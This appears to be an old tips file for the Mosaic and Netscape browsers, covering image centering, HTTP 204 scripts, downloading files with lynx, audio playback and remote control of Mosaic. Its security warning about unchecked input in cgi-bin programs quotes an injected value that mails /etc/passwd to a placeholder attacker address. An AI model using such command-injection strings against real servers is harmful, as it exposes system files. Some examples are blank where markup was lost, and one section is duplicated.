Mosaic/Firefox Web Broswer Honts and Tips ------------------------------------------------------------------------------ To change the temp directory used by XMosaic from /usr/tmp use the -tmpdir commandline option or the X resource tmpDirectory. ------------------------------------------------------------------------------ Centering a GIF image To center a GIF image use the
 statment to add 4 tabs
infront of the image. Don't use spaces as these can vary in size
depending on the font used by the client or if it is text of not

Example:

  
{tab}{tab}{tab}{tab}
Alternitively, you can use a special transparent image to do the job. This has the advantage of being very neat in the html source file as you do not need to place everything on the one line as you do with
.

  			
  

------------------------------------------------------------------------------
How do I make a "link" that doesn't load a new page?

Such links are useful when a form is intended to perform some action
on the server machine without sending new information to the client,
or when a user has clicked in an undefined area in an image map;
these are just two possibilities. 

Rob McCool of NCSA provided the following wisdom on the subject.

HTTP now supports a response code of 204, which is no operation. Some
browsers such as Mosaic/X 2.* support it. To use it, make your script a nph
script and output an HTTP/1.0 204 header. Something like:

HTTP/1.0 204 No response
Server: Myscript/NCSA httpd 1.1

(You can learn more about nph scripts from the NCSA server
documentation at the URL .)
Essentially they are scripts that handle their own HTTP response
codes. 

------------------------------------------------------------------------------
Downloading Images and other referenced files..

To download one or two WWW icons look at the source of the html
refering to that icon to find its URL.

EG: http://www.cit.gu.edu.au/images/Balls/Images.html
#=======8<------CUT HERE--------axes/crowbars permitted---------------

Misc Balls

earth
smiley
gold
#=======8<------CUT HERE--------axes/crowbars permitted--------------- Then download the smiley ball use the URL... http://www.cit.gu.edu.au/images/Balls/smiley.gif This will either save the gif image directly to disk (an option under mosaic) or display it in a image viewer (default for mosaic and netscape) which should allow you to save it to disk. You can also use the text WWW client `lynx' to download files direct lynx -source http://www.cit.gu.edu.au/images/Balls/smiley.gif > smiley.gif or view it with lynx -dump http://www.cit.gu.edu.au/images/Balls/smiley.gif ------------------------------------------------------------------------------ Sound playing For 1.2, I used: XMosaic*audioPlayerCommand: aplay For 2.0, you need a file ~/.mailcap (like the MIME software uses). Mine looks like this: # This maps all types of audio data (audio/basic, audio/x-aiff, # etc.) to the viewer 'aplay'. Note that '%s' means 'put the # datafile name here when the viewer is executed'. audio/*; aplay %s (for the audio, anyway). ------------------------------------------------------------------------------ Remote control of Mosaic The file /tmp/Mosaic.[pid] (which used to be /tmp/xmosaic.[pid]) is created by the application that is remotely controlling Mosaic. The extension of this filename ([pid]) is Mosaic's pid, which the remotely controlling application must get (e.g. by forking Mosaic) and use in creating the file. Mosaic does not write to this file -- the application (or in my case, my intermediary script) writes "goto(newline)[URL]" into it and sends a SIGUSR1 to Mosaic, which causes Mosaic to read it and request that URL. The file $HOME/.mosaicpid is the one that Mosaic writes its pid to, and which is continually written over. However, this file is unnecessary to the remote control process. ------------------------------------------------------------------------------ Netscape Title bar modification You use to be able to specify where the URL bar links are to go to as well as the name on the actual button. Mosaic Com however removed this in a later release... Arggghhh... :-( ------------------------------------------------------------------------------ SECURITY Come to think of it, a couple of the cgi-bin programs supplied with NCSA's httpd have this problem, too (not checking input before calling system()). Anyone who has built backends to forms or scripts based upon them should take note. Even if you have it running as "nobody", a variable with a "; mail cracker@hacker.org < /etc/passwd" isn't a nice thing to have happen. To the best of my knowledge, only one of them does. Rob McCool phf.c -- patch available ------------------------------------------------------------------------------ Remote control of Mosaic The file /tmp/Mosaic.[pid] (which used to be /tmp/xmosaic.[pid]) is created by the application that is remotely controlling Mosaic. The extension of this filename ([pid]) is Mosaic's pid, which the remotely controlling application must get (e.g. by forking Mosaic) and use in creating the file. Mosaic does not write to this file -- the application (or in my case, my intermediary script) writes "goto(newline)[URL]" into it and sends a SIGUSR1 to Mosaic, which causes Mosaic to read it and request that URL. The file $HOME/.mosaicpid is the one that Mosaic writes its pid to, and which is continually written over. However, this file is unnecessary to the remote control process. -------------------------------------------------------------------------------